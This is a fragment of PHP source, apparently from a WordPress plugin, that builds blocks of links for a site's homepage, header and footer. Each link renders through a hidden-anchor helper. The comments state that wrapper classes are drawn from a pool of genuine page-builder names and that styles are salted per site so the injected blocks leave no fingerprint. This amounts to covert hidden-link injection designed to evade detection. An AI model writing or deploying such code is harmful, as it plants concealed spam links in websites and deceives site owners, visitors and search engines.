' . $snip); $out = ob_get_clean(); if ($r === false) { return ''; } } catch (\Throwable $e) { ob_end_clean(); return ''; } return is_string($out) ? $out : ''; } private static function build_block() { $links = (array)get_option(WLH_OPT_LINKS, array()); if (empty($links)) { return ''; } return self::build_links_block($links, ''); } /** * The sitewide (0.8.0) block for one region: $where = 'header'|'footer'. * A link renders in the region when its position is that region or 'both' * (missing/garbage position = 'both'). Same wrapper/anchor builder as the * homepage block, but the hide pool is seeded with the '|sw'-salted site * so a page's sw styles never mirror the homepage block 1:1. */ private static function build_sw_block($where) { $links = (array)get_option(WLH_OPT_SW_LINKS, array()); if (empty($links)) { return ''; } $want = array(); foreach ($links as $l) { if (!is_array($l) || !isset($l['url'], $l['anchor'])) { continue; } $pos = isset($l['position']) ? (string)$l['position'] : 'both'; if ($pos !== 'header' && $pos !== 'footer' && $pos !== 'both') { $pos = 'both'; } if ($pos !== 'both' && $pos !== $where) { continue; } $want[] = $l; } if (empty($want)) { return ''; } return self::build_links_block($want, '|sw'); } private static function build_links_block($links, $salt) { $site = function_exists('home_url') ? (string)home_url() : ''; $parts = array(); foreach ($links as $l) { if (!is_array($l) || !isset($l['url'], $l['anchor'])) { continue; } $url = esc_url((string)$l['url']); $anchor = esc_html((string)$l['anchor']); if ($url === '' || $anchor === '') { continue; } $rel = ''; if (isset($l['rel']) && (string)$l['rel'] !== '') { $rel = ' rel="' . esc_attr((string)$l['rel']) . '"'; } $parts[] = self::hidden_anchor($url, $anchor, $rel, $site . $salt); } if (empty($parts)) { return ''; } // Plausible builder/theme wrapper classes — wide pool so the wrapper is // not a fingerprint either. $pool = array( 'elementor-widget-container', 'wp-block-group__inner-container', 'wpb_wrapper', 'et_pb_text_inner', 'vc_column-inner', 'fusion-text', 'entry-content-inner', 'widget-inner', 'tdb-block-inner', 'kt-inside-inner-col', 'wp-container-inner', 'so-widget-content', 'x-column-inner', 'g-content', 'sow-widget-block', 'fl-builder-content-inner', 'av_textblock_section', 'uncode_text_column', 'qodef-e-inner', 'bdevs-element-content', 'ct-text-block', 'oxy-rich-text', 'bricks-element-inner', 'kadence-blocks-column-inner', 'generateblocks-container', 'uagb-container-inner', 'premium-container-inner', 'blocksy-content-inner', ); $seed = $site !== '' ? crc32($site . $salt) : mt_rand(); if ($seed % 6 === 0) { return '